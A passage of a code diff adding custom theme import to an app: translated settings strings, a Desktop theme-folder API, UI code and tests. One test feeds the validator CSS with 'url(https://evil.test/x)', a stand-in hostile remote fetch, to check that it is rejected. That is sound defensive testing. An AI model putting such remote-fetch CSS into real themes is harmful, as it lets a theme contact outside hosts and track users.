+ "description": "Couleurs, bordures, ombres et coins de toute l’app. Importez un fichier de thème pour en ajouter.",
"default": "Par défaut",
- "pop": "Pop"
+ "pop": "Pop",
+ "built_in": "Intégrés",
+ "installed": "Installés",
+ "remove": "Retirer {{name}}",
+ "safe_mode": "Mode sans échec : votre thème est suspendu jusqu’à la fermeture de cette fenêtre.",
+ "safe_mode_exit": "Utiliser mon thème",
+ "folder": "Dossier des thèmes",
+ "folder_problems": "Certains thèmes du dossier des thèmes ne passent pas les vérifications. Corrigez-les et enregistrez ; la dernière version valide reste utilisée."
+ },
+ "import": {
+ "button": "Importer un thème",
+ "from_zip": "Fichier de thème (.zip)",
+ "from_folder": "Dossier du thème",
+ "storage_full": "Pas assez d’espace sur cet appareil pour enregistrer le thème. Retirez un autre thème et réessayez.",
+ "confirm_title": "Installer « {{name}} » ?",
+ "warning": "Un thème peut modifier l’apparence de toutes les pages, y compris les boîtes de dialogue et les avertissements. N’installez que des thèmes de personnes de confiance.",
+ "author": "Auteur",
+ "version": "Version",
+ "replaces": "{{to}} (remplace {{from}})",
+ "includes": "Contient",
+ "cancel": "Annuler",
+ "confirm": "Installer et utiliser",
+ "error_title": "Impossible d’installer ce thème",
+ "error_description": "Rien n’a été modifié. Le fichier de thème présente ces problèmes :",
+ "close": "Fermer",
+ "has_options_one": "{{count}} option",
+ "has_options_other": "{{count}} options",
+ "has_assets_one": "{{count}} police ou image",
+ "has_assets_other": "{{count}} polices et images",
+ "menu_label": "Thèmes personnalisés",
+ "beta": "Bêta",
+ "beta_note": "Les thèmes personnalisés sont en bêta. Les variables et le manifeste qu’un thème utilise peuvent changer, et le thème devra peut-être être mis à jour."
+ },
+ "tools": {
+ "label": "Autres actions de thème",
+ "duplicate": "Dupliquer « {{name}} » en nouveau thème",
+ "open_folder": "Ouvrir le dossier des thèmes",
+ "guide": "Créer un thème",
+ "duplicated_web": "{{file}} a été téléchargé. Décompressez-le, modifiez theme.css, puis importez le dossier.",
+ "duplicated_desktop": "« {{name}} » a été créé dans le dossier des thèmes. Les modifications de son theme.css s’appliquent à l’enregistrement.",
+ "duplicate_failed": "Impossible de créer la copie : {{error}}"
},
"theme_options": {
"title": "Options du thème",
diff --git a/packages/views/locales/ja/settings.json b/packages/views/locales/ja/settings.json
index e88807e1c9..742e9ddbf4 100644
--- a/packages/views/locales/ja/settings.json
+++ b/packages/views/locales/ja/settings.json
@@ -209,9 +209,47 @@
},
"theme": {
"title": "テーマ",
- "description": "アプリ全体の色、枠線、影、角丸。",
+ "description": "アプリ全体の色、枠線、影、角丸。テーマファイルを読み込んで追加できます。",
"default": "デフォルト",
- "pop": "ポップ"
+ "pop": "ポップ",
+ "built_in": "組み込み",
+ "installed": "インストール済み",
+ "remove": "{{name}} を削除",
+ "safe_mode": "セーフモード:このウィンドウを閉じるまでテーマを停止しています。",
+ "safe_mode_exit": "テーマを戻す",
+ "folder": "テーマフォルダ",
+ "folder_problems": "テーマフォルダ内の一部のテーマがチェックを通りません。修正して保存してください。それまでは最後に通ったバージョンを使います。"
+ },
+ "import": {
+ "button": "テーマを読み込む",
+ "from_zip": "テーマファイル(.zip)",
+ "from_folder": "テーマフォルダ",
+ "storage_full": "このデバイスにテーマを保存する空き容量がありません。ほかのテーマを削除してからもう一度お試しください。",
+ "confirm_title": "「{{name}}」をインストールしますか?",
+ "warning": "テーマはダイアログや警告を含むすべての画面の見た目を変えられます。信頼できる作者のテーマだけをインストールしてください。",
+ "author": "作者",
+ "version": "バージョン",
+ "replaces": "{{to}}({{from}} を置き換え)",
+ "includes": "内容",
+ "cancel": "キャンセル",
+ "confirm": "インストールして使う",
+ "error_title": "このテーマをインストールできません",
+ "error_description": "何も変更していません。テーマファイルに次の問題があります:",
+ "close": "閉じる",
+ "has_options_other": "オプション {{count}} 個",
+ "has_assets_other": "フォント・画像 {{count}} 個",
+ "menu_label": "カスタムテーマ",
+ "beta": "ベータ",
+ "beta_note": "カスタムテーマはベータ版です。テーマが使う変数やマニフェストは変わることがあり、テーマの更新が必要になる場合があります。"
+ },
+ "tools": {
+ "label": "その他のテーマ操作",
+ "duplicate": "「{{name}}」を複製して新しいテーマにする",
+ "open_folder": "テーマフォルダを開く",
+ "guide": "テーマの作り方",
+ "duplicated_web": "{{file}} をダウンロードしました。展開して theme.css を編集し、フォルダを読み込んでください。",
+ "duplicated_desktop": "テーマフォルダに「{{name}}」を作成しました。theme.css を保存するとすぐに反映されます。",
+ "duplicate_failed": "複製を作成できませんでした:{{error}}"
},
"theme_options": {
"title": "テーマのオプション",
diff --git a/packages/views/locales/ko/settings.json b/packages/views/locales/ko/settings.json
index bdd2de4950..4e3f8866a0 100644
--- a/packages/views/locales/ko/settings.json
+++ b/packages/views/locales/ko/settings.json
@@ -209,9 +209,47 @@
},
"theme": {
"title": "테마",
- "description": "앱 전체의 색상, 테두리, 그림자, 모서리.",
+ "description": "앱 전체의 색상, 테두리, 그림자, 모서리. 테마 파일을 가져와 더 추가할 수 있어요.",
"default": "기본",
- "pop": "팝"
+ "pop": "팝",
+ "built_in": "기본 제공",
+ "installed": "설치됨",
+ "remove": "{{name}} 제거",
+ "safe_mode": "안전 모드: 이 창을 닫을 때까지 테마가 꺼져 있어요.",
+ "safe_mode_exit": "내 테마 사용",
+ "folder": "테마 폴더",
+ "folder_problems": "테마 폴더의 일부 테마가 검사를 통과하지 못했어요. 고친 뒤 저장하세요. 그동안은 마지막으로 통과한 버전을 사용해요."
+ },
+ "import": {
+ "button": "테마 가져오기",
+ "from_zip": "테마 파일(.zip)",
+ "from_folder": "테마 폴더",
+ "storage_full": "이 기기에 테마를 저장할 공간이 부족해요. 다른 테마를 제거한 뒤 다시 시도하세요.",
+ "confirm_title": "‘{{name}}’을(를) 설치할까요?",
+ "warning": "테마는 대화상자와 경고를 포함한 모든 화면의 모양을 바꿀 수 있어요. 신뢰하는 사람이 만든 테마만 설치하세요.",
+ "author": "만든 사람",
+ "version": "버전",
+ "replaces": "{{to}} ({{from}} 대체)",
+ "includes": "포함",
+ "cancel": "취소",
+ "confirm": "설치하고 사용",
+ "error_title": "이 테마를 설치할 수 없어요",
+ "error_description": "아무것도 바뀌지 않았어요. 테마 파일에 다음 문제가 있어요:",
+ "close": "닫기",
+ "has_options_other": "옵션 {{count}}개",
+ "has_assets_other": "글꼴·이미지 {{count}}개",
+ "menu_label": "사용자 테마",
+ "beta": "베타",
+ "beta_note": "사용자 테마는 베타예요. 테마가 쓰는 변수와 매니페스트가 바뀔 수 있어 테마를 업데이트해야 할 수도 있어요."
+ },
+ "tools": {
+ "label": "테마 작업 더 보기",
+ "duplicate": "“{{name}}” 복제해서 새 테마 만들기",
+ "open_folder": "테마 폴더 열기",
+ "guide": "테마 만드는 방법",
+ "duplicated_web": "{{file}}을(를) 내려받았어요. 압축을 풀고 theme.css를 고친 다음 폴더를 가져오세요.",
+ "duplicated_desktop": "테마 폴더에 “{{name}}”을(를) 만들었어요. theme.css를 저장하면 바로 반영돼요.",
+ "duplicate_failed": "복사본을 만들지 못했어요: {{error}}"
},
"theme_options": {
"title": "테마 옵션",
diff --git a/packages/views/locales/ru/settings.json b/packages/views/locales/ru/settings.json
index 7e9545e8b0..cb237eeeca 100644
--- a/packages/views/locales/ru/settings.json
+++ b/packages/views/locales/ru/settings.json
@@ -214,9 +214,53 @@
},
"theme": {
"title": "Тема",
- "description": "Цвета, границы, тени и скругления во всём приложении.",
+ "description": "Цвета, границы, тени и скругления во всём приложении. Чтобы добавить другие темы, импортируйте файл темы.",
"default": "По умолчанию",
- "pop": "Pop"
+ "pop": "Pop",
+ "built_in": "Встроенные",
+ "installed": "Установленные",
+ "remove": "Удалить {{name}}",
+ "safe_mode": "Безопасный режим: ваша тема отключена, пока вы не закроете это окно.",
+ "safe_mode_exit": "Вернуть мою тему",
+ "folder": "Папка тем",
+ "folder_problems": "Некоторые темы в папке тем не проходят проверку. Исправьте их и сохраните; до тех пор используется последняя версия, которая её прошла."
+ },
+ "import": {
+ "button": "Импорт темы",
+ "from_zip": "Файл темы (.zip)",
+ "from_folder": "Папка темы",
+ "storage_full": "На этом устройстве не хватает места, чтобы сохранить тему. Удалите другую тему и попробуйте снова.",
+ "confirm_title": "Установить «{{name}}»?",
+ "warning": "Тема может изменить вид любой страницы, включая диалоги и предупреждения. Устанавливайте только темы от тех, кому доверяете.",
+ "author": "Автор",
+ "version": "Версия",
+ "replaces": "{{to}} (заменяет {{from}})",
+ "includes": "Содержит",
+ "cancel": "Отмена",
+ "confirm": "Установить и применить",
+ "error_title": "Не удалось установить тему",
+ "error_description": "Ничего не изменено. В файле темы есть такие проблемы:",
+ "close": "Закрыть",
+ "has_options_one": "{{count}} параметр",
+ "has_options_few": "{{count}} параметра",
+ "has_options_many": "{{count}} параметров",
+ "has_options_other": "{{count}} параметра",
+ "has_assets_one": "{{count}} шрифт или изображение",
+ "has_assets_few": "{{count}} шрифта или изображения",
+ "has_assets_many": "{{count}} шрифтов или изображений",
+ "has_assets_other": "{{count}} шрифта или изображения",
+ "menu_label": "Свои темы",
+ "beta": "Бета",
+ "beta_note": "Свои темы в бета-версии. Переменные и манифест, которые использует тема, могут измениться, и тему придётся обновить."
+ },
+ "tools": {
+ "label": "Другие действия с темой",
+ "duplicate": "Дублировать «{{name}}» как новую тему",
+ "open_folder": "Открыть папку тем",
+ "guide": "Как сделать тему",
+ "duplicated_web": "Файл {{file}} скачан. Распакуйте его, отредактируйте theme.css и импортируйте папку.",
+ "duplicated_desktop": "Тема «{{name}}» создана в папке тем. Изменения в её theme.css применяются при сохранении.",
+ "duplicate_failed": "Не удалось создать копию: {{error}}"
},
"theme_options": {
"title": "Параметры темы",
diff --git a/packages/views/locales/zh-Hans/settings.json b/packages/views/locales/zh-Hans/settings.json
index cb0fbf8394..a566799cfb 100644
--- a/packages/views/locales/zh-Hans/settings.json
+++ b/packages/views/locales/zh-Hans/settings.json
@@ -209,9 +209,47 @@
},
"theme": {
"title": "主题",
- "description": "全局的颜色、边框、阴影和圆角。",
+ "description": "全局的颜色、边框、阴影和圆角。可以导入主题文件添加更多主题。",
"default": "默认",
- "pop": "波普"
+ "pop": "波普",
+ "built_in": "内置",
+ "installed": "已安装",
+ "remove": "移除 {{name}}",
+ "safe_mode": "安全模式:关闭这个窗口之前,你的主题暂停生效。",
+ "safe_mode_exit": "恢复我的主题",
+ "folder": "主题文件夹",
+ "folder_problems": "主题文件夹里有主题没通过检查。修改后保存即可;在此之前继续使用最后一个通过检查的版本。"
+ },
+ "import": {
+ "button": "导入主题",
+ "from_zip": "主题文件(.zip)",
+ "from_folder": "主题文件夹",
+ "storage_full": "这台设备的存储空间不够保存这个主题。移除别的主题后再试。",
+ "confirm_title": "安装「{{name}}」?",
+ "warning": "主题可以改变每个页面的样式,包括弹窗和警告。只安装你信任的人做的主题。",
+ "author": "作者",
+ "version": "版本",
+ "replaces": "{{to}}(替换 {{from}})",
+ "includes": "包含",
+ "cancel": "取消",
+ "confirm": "安装并使用",
+ "error_title": "无法安装这个主题",
+ "error_description": "没有做任何改动。主题文件有以下问题:",
+ "close": "关闭",
+ "has_options_other": "{{count}} 个选项",
+ "has_assets_other": "{{count}} 个字体和图片",
+ "menu_label": "自定义主题",
+ "beta": "Beta",
+ "beta_note": "自定义主题处于 Beta 阶段。主题用到的变量和清单可能会变,主题可能需要更新。"
+ },
+ "tools": {
+ "label": "更多主题操作",
+ "duplicate": "复制「{{name}}」为新主题",
+ "open_folder": "打开主题文件夹",
+ "guide": "如何制作主题",
+ "duplicated_web": "已下载 {{file}}。解压后编辑 theme.css,再导入这个文件夹。",
+ "duplicated_desktop": "已在主题文件夹中创建「{{name}}」。保存 theme.css 后改动立即生效。",
+ "duplicate_failed": "无法创建副本:{{error}}"
},
"theme_options": {
"title": "主题选项",
diff --git a/packages/views/locales/zh-Hant/settings.json b/packages/views/locales/zh-Hant/settings.json
index 754b5800cc..40bd804bd1 100644
--- a/packages/views/locales/zh-Hant/settings.json
+++ b/packages/views/locales/zh-Hant/settings.json
@@ -209,9 +209,47 @@
},
"theme": {
"title": "主題",
- "description": "全域的顏色、邊框、陰影和圓角。",
+ "description": "全域的顏色、邊框、陰影和圓角。可以匯入主題檔案加入更多主題。",
"default": "預設",
- "pop": "普普"
+ "pop": "普普",
+ "built_in": "內建",
+ "installed": "已安裝",
+ "remove": "移除 {{name}}",
+ "safe_mode": "安全模式:關閉這個視窗之前,你的主題暫停生效。",
+ "safe_mode_exit": "恢復我的主題",
+ "folder": "主題資料夾",
+ "folder_problems": "主題資料夾裡有主題沒通過檢查。修改後儲存即可;在此之前繼續使用最後一個通過檢查的版本。"
+ },
+ "import": {
+ "button": "匯入主題",
+ "from_zip": "主題檔案(.zip)",
+ "from_folder": "主題資料夾",
+ "storage_full": "這台裝置的儲存空間不夠儲存這個主題。移除其他主題後再試。",
+ "confirm_title": "安裝「{{name}}」?",
+ "warning": "主題可以改變每個頁面的樣式,包括對話框和警告。只安裝你信任的人做的主題。",
+ "author": "作者",
+ "version": "版本",
+ "replaces": "{{to}}(取代 {{from}})",
+ "includes": "包含",
+ "cancel": "取消",
+ "confirm": "安裝並使用",
+ "error_title": "無法安裝這個主題",
+ "error_description": "沒有做任何變更。主題檔案有以下問題:",
+ "close": "關閉",
+ "has_options_other": "{{count}} 個選項",
+ "has_assets_other": "{{count}} 個字型和圖片",
+ "menu_label": "自訂主題",
+ "beta": "Beta",
+ "beta_note": "自訂主題處於 Beta 階段。主題用到的變數和清單可能會變,主題可能需要更新。"
+ },
+ "tools": {
+ "label": "更多主題操作",
+ "duplicate": "複製「{{name}}」為新主題",
+ "open_folder": "開啟主題資料夾",
+ "guide": "如何製作主題",
+ "duplicated_web": "已下載 {{file}}。解壓縮後編輯 theme.css,再匯入這個資料夾。",
+ "duplicated_desktop": "已在主題資料夾中建立「{{name}}」。儲存 theme.css 後變更立即生效。",
+ "duplicate_failed": "無法建立副本:{{error}}"
},
"theme_options": {
"title": "主題選項",
diff --git a/packages/views/platform/index.ts b/packages/views/platform/index.ts
index 5b3cb29c6c..1f7145f425 100644
--- a/packages/views/platform/index.ts
+++ b/packages/views/platform/index.ts
@@ -16,6 +16,13 @@ export {
type PickDirectoryResult,
type ValidateLocalDirectoryResult,
} from "./local-directory";
+export {
+ themeFolderAPI,
+ type ThemeFolderAPI,
+ type ThemeFolderFile,
+ type ThemeFolderSnapshot,
+ type ThemeFolderWriteResult,
+} from "./theme-folder";
export {
useLocalDaemonStatus,
type LocalDaemonStatus,
diff --git a/packages/views/platform/theme-folder.ts b/packages/views/platform/theme-folder.ts
new file mode 100644
index 0000000000..4bf48815ce
--- /dev/null
+++ b/packages/views/platform/theme-folder.ts
@@ -0,0 +1,31 @@
+// Desktop's themes folder, through the preload `desktopAPI`. Undefined on
+// web and on Desktop builds that predate the folder.
+
+export interface ThemeFolderFile {
+ path: string;
+ data: Uint8Array;
+}
+
+export interface ThemeFolderSnapshot {
+ path: string;
+ entries: { folder: string; files?: ThemeFolderFile[]; error?: string }[];
+}
+
+export type ThemeFolderWriteResult =
+ | { ok: true }
+ | { ok: false; reason: "exists" | "invalid" | "error"; error?: string };
+
+export interface ThemeFolderAPI {
+ readThemeFolder: () => Promise<ThemeFolderSnapshot>;
+ onThemeFolderChange: (callback: () => void) => () => void;
+ openThemeFolder: (name?: string) => Promise<{ ok: boolean; error?: string }>;
+ writeThemeFolder: (name: string, files: ThemeFolderFile[]) => Promise<ThemeFolderWriteResult>;
+}
+
+export function themeFolderAPI(): ThemeFolderAPI | undefined {
+ if (typeof window === "undefined") return undefined;
+ const api = (window as unknown as { desktopAPI?: Partial<ThemeFolderAPI> }).desktopAPI;
+ return api?.readThemeFolder && api.onThemeFolderChange && api.openThemeFolder && api.writeThemeFolder
+ ? (api as ThemeFolderAPI)
+ : undefined;
+}
diff --git a/packages/views/settings/components/appearance-tab.test.tsx b/packages/views/settings/components/appearance-tab.test.tsx
index d4c955e254..a49bcc6c08 100644
--- a/packages/views/settings/components/appearance-tab.test.tsx
+++ b/packages/views/settings/components/appearance-tab.test.tsx
@@ -3,7 +3,14 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { cleanup, render, screen, within } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { I18nProvider } from "@multica/core/i18n/react";
-import { DEFAULT_APPEARANCE, useAppearanceStore, type Theme } from "@multica/core/appearance";
+import {
+ DEFAULT_APPEARANCE,
+ readZip,
+ themeFromFiles,
+ useAppearanceStore,
+ useInstalledThemesStore,
+ useThemeFolderStatus,
+} from "@multica/core/appearance";
import enCommon from "../../locales/en/common.json";
import enSettings from "../../locales/en/settings.json";
@@ -16,17 +23,6 @@ vi.mock("@multica/ui/components/common/theme-provider", () => ({
useTheme: () => themeState,
}));
-/** A theme the next render treats as active, for option types no built-in theme uses. */
-const testTheme = vi.hoisted(() => ({ current: null as Theme | null }));
-vi.mock("@multica/core/appearance", async (importOriginal) => {
- const actual = await importOriginal<typeof import("@multica/core/appearance")>();
- return {
- ...actual,
- activeTheme: (prefs: { theme: string }) =>
- testTheme.current && prefs.theme === testTheme.current.id ? testTheme.current : actual.activeTheme(prefs),
- };
-});
-
import { AppearanceTab } from "./appearance-tab";
const TEST_RESOURCES = { en: { common: enCommon, settings: enSettings } };
@@ -43,6 +39,27 @@ const group = (name: string) => screen.getByRole("group", { name });
const state = () => useAppearanceStore.getState();
const themeSelect = () => screen.getByRole("combobox", { name: "Theme" });
+const PAPER = {
+ apiVersion: 1 as const,
+ id: "paper",
+ name: "Paper",
+ author: "Someone",
+ version: "1.0.0",
+};
+const PAPER_CSS = '.theme-light { --page-canvas: #f6efdf; }\n[data-mc="content"] p { hyphens: auto; }';
+
+/** The files of a theme folder, as the folder picker returns them. */
+function themeFolder(manifest: unknown, css: string) {
+ return [
+ new File([JSON.stringify(manifest)], "manifest.json", { type: "application/json" }),
+ new File([css], "theme.css", { type: "text/css" }),
+ ];
+}
+
+function folderInput() {
+ return document.querySelector<HTMLInputElement>('input[type="file"][webkitdirectory]')!;
+}
+
describe("AppearanceTab", () => {
beforeEach(() => {
themeState.theme = "light";
@@ -50,7 +67,8 @@ describe("AppearanceTab", () => {
themeState.setTheme.mockClear();
localStorage.clear();
useAppearanceStore.setState(DEFAULT_APPEARANCE);
- testTheme.current = null;
+ useInstalledThemesStore.setState({ themes: [], folders: {} });
+ useThemeFolderStatus.setState({ path: null, problems: [] });
});
afterEach(() => {
cleanup();
@@ -84,7 +102,6 @@ describe("AppearanceTab", () => {
expect(state().theme).toBe("github");
expect(themeSelect()).toHaveTextContent("GitHub");
- expect(screen.queryByRole("button", { name: /import/i })).not.toBeInTheDocument();
});
it("renders the options the active theme declares and saves them per theme", async () => {
@@ -153,14 +170,136 @@ describe("AppearanceTab", () => {
expect(state()).toMatchObject({ density: "compact", highContrast: true });
});
+ it("imports a theme file after confirmation, and removes it again", async () => {
+ const user = userEvent.setup();
+ render(<AppearanceTab />, { wrapper: Wrapper });
+
+ await user.click(screen.getByRole("button", { name: "Import theme" }));
+ expect(await screen.findByRole("menuitem", { name: "Theme file (.zip)" })).toBeInTheDocument();
+ await user.keyboard("{Escape}");
+ const options = [
+ { id: "reading", type: "heading", label: "Reading" },
+ { id: "hyphens", type: "toggle", label: "Hyphens", default: false },
+ ];
+ await user.upload(folderInput(), themeFolder({ ...PAPER, options }, PAPER_CSS));
+ const dialog = await screen.findByRole("alertdialog");
+ expect(within(dialog).getByText("Install “Paper”?")).toBeInTheDocument();
+ expect(within(dialog).getByText("Beta")).toBeInTheDocument();
+ expect(within(dialog).getByText(/Custom themes are in beta/)).toBeInTheDocument();
+ expect(within(dialog).getByText("theme.css · 1 option")).toBeInTheDocument();
+ await user.click(within(dialog).getByRole("button", { name: "Install and use" }));
+
+ expect(useInstalledThemesStore.getState().themes.map((t) => t.id)).toEqual(["paper"]);
+ expect(state().theme).toBe("paper");
+ expect(themeSelect()).toHaveTextContent("Paper");
+ await user.click(themeSelect());
+ expect(await screen.findByText("Installed")).toBeInTheDocument();
+ await user.keyboard("{Escape}");
+
+ await user.click(screen.getByRole("button", { name: "Remove Paper" }));
+ expect(useInstalledThemesStore.getState().themes).toEqual([]);
+ expect(state().theme).toBe("default");
+ });
+
+ it("duplicates the active theme as a .zip to edit and import, on web", async () => {
+ const user = userEvent.setup();
+ const createObjectURL = vi.fn((_blob: Blob) => "blob:theme");
+ Object.assign(URL, { createObjectURL, revokeObjectURL: vi.fn() });
+ const click = vi.spyOn(HTMLAnchorElement.prototype, "click").mockImplementation(() => {});
+ useAppearanceStore.setState({ theme: "github" });
+ render(<AppearanceTab />, { wrapper: Wrapper });
+
+ await user.click(screen.getByRole("button", { name: "More theme actions" }));
+ expect(screen.queryByRole("menuitem", { name: "Open themes folder" })).toBeNull();
+ await user.click(await screen.findByRole("menuitem", { name: "Duplicate “GitHub” as a new theme" }));
+
+ expect(click).toHaveBeenCalledTimes(1);
+ expect((click.mock.contexts[0] as HTMLAnchorElement).download).toBe("github-copy.zip");
+ const archive = await readZip(new Uint8Array(await createObjectURL.mock.calls[0]![0].arrayBuffer()), 1024 * 1024);
+ const copy = archive.ok ? themeFromFiles(archive.files) : null;
+ expect(copy).toMatchObject({ ok: true, theme: { id: "github-copy", name: "GitHub copy" } });
+ expect(useInstalledThemesStore.getState().themes).toEqual([]);
+ click.mockRestore();
+ });
+
+ describe("on Desktop", () => {
+ const desktop = {
+ readThemeFolder: vi.fn(async () => ({ path: "/data/themes", entries: [] })),
+ onThemeFolderChange: vi.fn(() => () => {}),
+ openThemeFolder: vi.fn(async () => ({ ok: true })),
+ writeThemeFolder: vi.fn(async () => ({ ok: true as const })),
+ };
+ beforeEach(() => {
+ Object.values(desktop).forEach((fn) => fn.mockClear());
+ (window as unknown as { desktopAPI: unknown }).desktopAPI = desktop;
+ });
+ afterEach(() => {
+ delete (window as unknown as { desktopAPI?: unknown }).desktopAPI;
+ });
+
+ it("duplicates into the themes folder, applies the copy and opens its folder", async () => {
+ const user = userEvent.setup();
+ desktop.writeThemeFolder.mockResolvedValueOnce({ ok: false, reason: "exists" } as never);
+ render(<AppearanceTab />, { wrapper: Wrapper });
+
+ await user.click(screen.getByRole("button", { name: "More theme actions" }));
+ await user.click(await screen.findByRole("menuitem", { name: "Duplicate “Default” as a new theme" }));
+
+ expect(desktop.writeThemeFolder.mock.calls.map((call) => (call as unknown[])[0])).toEqual([
+ "default-copy",
+ "default-copy-2",
+ ]);
+ expect(state().theme).toBe("default-copy-2");
+ expect(useInstalledThemesStore.getState().themes.map((t) => t.id)).toEqual(["default-copy-2"]);
+ expect(desktop.openThemeFolder).toHaveBeenCalledWith("default-copy-2");
+ });
+
+ it("opens the themes folder, lists its themes on their own and shows what fails the checks", async () => {
+ const user = userEvent.setup();
+ useInstalledThemesStore.setState({
+ themes: [{ ...PAPER, css: PAPER_CSS }],
+ folders: { paper: "paper" },
+ });
+ useThemeFolderStatus.setState({
+ path: "/data/themes",
+ problems: [{ folder: "ink", errors: ["theme.css line 2: @import is not allowed"] }],
+ });
+ useAppearanceStore.setState({ theme: "paper" });
+ render(<AppearanceTab />, { wrapper: Wrapper });
+
+ expect(screen.queryByRole("button", { name: "Remove Paper" })).toBeNull();
+ expect(screen.getByText(/Some themes in the themes folder don't pass the checks/)).toBeInTheDocument();
+ expect(screen.getByText("theme.css line 2: @import is not allowed")).toBeInTheDocument();
+
+ await user.click(themeSelect());
+ expect(await screen.findByText("Themes folder")).toBeInTheDocument();
+ await user.keyboard("{Escape}");
+
+ await user.click(screen.getByRole("button", { name: "More theme actions" }));
+ await user.click(await screen.findByRole("menuitem", { name: "Open themes folder" }));
+ expect(desktop.openThemeFolder).toHaveBeenCalledWith();
+ });
+ });
+
+ it("lists what is wrong with a theme it cannot install", async () => {
+ const user = userEvent.setup();
+ render(<AppearanceTab />, { wrapper: Wrapper });
+
+ await user.upload(folderInput(), themeFolder(PAPER, "body { background: url(https://evil.test/x); }"));
+ const dialog = await screen.findByRole("alertdialog");
+ expect(within(dialog).getByText("Couldn't install this theme")).toBeInTheDocument();
+ expect(within(dialog).getByText(/theme\.css line 1: url\("https:\/\/evil.test\/x"\)/)).toBeInTheDocument();
+ expect(useInstalledThemesStore.getState().themes).toEqual([]);
+ });
+
it("renders every option type a theme declares, grouped under its headings", async () => {
const user = userEvent.setup();
- testTheme.current = {
- apiVersion: 1,
- id: "paper",
- name: "Paper",
- css: "",
- options: [
+ useInstalledThemesStore.setState({
+ themes: [
+ {
+ ...PAPER,
+ css: PAPER_CSS,
+ options: [
{ id: "page", type: "heading", label: "Page", description: "The paper itself." },
{ id: "paper-color", type: "color", label: "Paper", default: { light: "#f6efdf", dark: "#1d1b16" } },
{ id: "page-width", type: "slider", label: "Width", default: 46, min: 30, max: 60, unit: "rem" },
@@ -170,9 +309,11 @@ describe("AppearanceTab", () => {
{ id: "rule", type: "variable-select", label: "Rule", default: "1px", choices: [
{ value: "1px", label: "Thin" },
{ value: "2px", label: "Thick" },
- ] },
+ ] },
+ ],
+ },
],
- };
+ });
useAppearanceStore.setState({ theme: "paper" });
render(<AppearanceTab />, { wrapper: Wrapper });
diff --git a/packages/views/settings/components/appearance-tab.tsx b/packages/views/settings/components/appearance-tab.tsx
index aa0ae1e553..80300edd71 100644
--- a/packages/views/settings/components/appearance-tab.tsx
+++ b/packages/views/settings/components/appearance-tab.tsx
@@ -1,15 +1,43 @@
"use client";
-import { useMemo } from "react";
+import { useEffect, useMemo, useRef, useState } from "react";
import { useShallow } from "zustand/react/shallow";
+import { toast } from "sonner";
import {
+ BookOpen,
+ Copy,
+ Ellipsis,
+ FolderOpen,
Monitor,
Moon,
RotateCcw,
Sun,
+ Trash2,
+ TriangleAlert,
+ Upload,
} from "@multica/ui/icons";
import { cn } from "@multica/ui/lib/utils";
+import { Badge } from "@multica/ui/components/ui/badge";
import { Button } from "@multica/ui/components/ui/button";
+import {
+ AlertDialog,
+ AlertDialogAction,
+ AlertDialogCancel,
+ AlertDialogContent,
+ AlertDialogDescription,
+ AlertDialogFooter,
+ AlertDialogHeader,
+ AlertDialogTitle,
+} from "@multica/ui/components/ui/alert-dialog";
+import {
+ DropdownMenu,
+ DropdownMenuContent,
+ DropdownMenuGroup,
+ DropdownMenuItem,
+ DropdownMenuLabel,
+ DropdownMenuSeparator,
+ DropdownMenuTrigger,
+} from "@multica/ui/components/ui/dropdown-menu";
import {
Select,
SelectContent,
@@ -38,18 +66,26 @@ import {
UI_FONTS,
activeTheme,
cjkFontStack,
+ exportTheme,
isDefaultAppearance,
isLocalFont,
isSafeFontValue,
isSafeThemeValue,
localFontFamily,
localizedText,
+ readThemePackage,
selectAppearance,
+ themeCopyTarget,
+ themeFromFiles,
themeModeVariables,
themeOptionValue,
uiFontStack,
useAppearanceStore,
useLocalCjkFonts,
+ useInstalledThemesStore,
+ useThemeFolderStatus,
+ useThemeSafeMode,
+ writeZip,
type CjkFontChoice,
type CodeFont,
type ContentSize,
@@ -62,6 +98,8 @@ import {
} from "@multica/core/appearance";
import { useLocale, useT } from "../../i18n";
import { SegmentedToggle } from "../../common/segmented-toggle";
+import { openExternal } from "../../platform/open-external";
+import { themeFolderAPI } from "../../platform/theme-folder";
import {
SettingsCard,
SettingsRow,
@@ -95,7 +133,8 @@ const CODE_FONT_NAME: Record<CodeFont, string> = {
function useThemeSetsFont(variable: "font-ui" | "font-mono"): boolean {
const appliedMode = useAppliedMode();
const theme = useAppearanceStore((s) => s.theme);
- const css = activeTheme({ theme }).css;
+ const safeMode = useThemeSafeMode();
+ const css = activeTheme({ theme }, safeMode.active).css;
return useMemo(() => variable in themeModeVariables(css)[appliedMode], [css, appliedMode, variable]);
}
@@ -159,16 +198,36 @@ function ColorSection() {
const appliedMode = useAppliedMode();
const theme = useAppearanceStore((s) => s.theme);
const set = useAppearanceStore((s) => s.set);
+ const installed = useInstalledThemesStore((s) => s.themes);
+ const folders = useInstalledThemesStore((s) => s.folders);
+ const uninstall = useInstalledThemesStore((s) => s.uninstall);
+ const folderProblems = useThemeFolderStatus((s) => s.problems);
+ const safeMode = useThemeSafeMode();
const themeLabelFor = useThemeLabel();
const modeValue: ModeChoice = mode === "light" || mode === "dark" ? mode : "system";
const modeLabel = t(($) => $.appearance.mode.title);
const themeLabel = t(($) => $.appearance.theme.title);
- const selected = BUILT_IN_THEMES.find((manifest) => manifest.id === theme);
- const items = BUILT_IN_THEMES.map((manifest) => ({
+ const imported = installed.filter((manifest) => !(manifest.id in folders));
+ const fromFolder = installed.filter((manifest) => manifest.id in folders);
+ const selected = [...BUILT_IN_THEMES, ...installed].find((manifest) => manifest.id === theme);
+ const selectedInstalled = imported.find((manifest) => manifest.id === theme);
+ const items = [...BUILT_IN_THEMES, ...installed].map((manifest) => ({
value: manifest.id,
label: themeLabelFor(manifest),
}));
+ const option = (manifest: Theme, author?: string) => (
+ <SelectItem key={manifest.id} value={manifest.id}>
+ <span className="flex min-w-0 flex-1 items-center gap-2.5">
+ <ThemeSwatch theme={manifest} mode={appliedMode} />
+ <span className="truncate">{themeLabelFor(manifest)}</span>
+ {author ? (
+ <span className="ml-auto shrink-0 pl-3 text-caption text-muted-foreground">{author}</span>
+ ) : null}
+ </span>
+ </SelectItem>
+ );
+
return (
<SettingsSection title={t(($) => $.appearance.color.title)} anchor="color">
<SettingsCard>
@@ -187,40 +246,332 @@ function ColorSection() {
</div>
</SettingsRow>
<SettingsRow label={themeLabel} description={t(($) => $.appearance.theme.description)} anchor="theme">
- <Select
- items={items}
- value={selected ? theme : "default"}
- onValueChange={(next) => {
- if (next) set({ theme: next });
- }}
- >
- <SelectTrigger size="sm" className="w-48" aria-label={themeLabel}>
- <SelectValue>
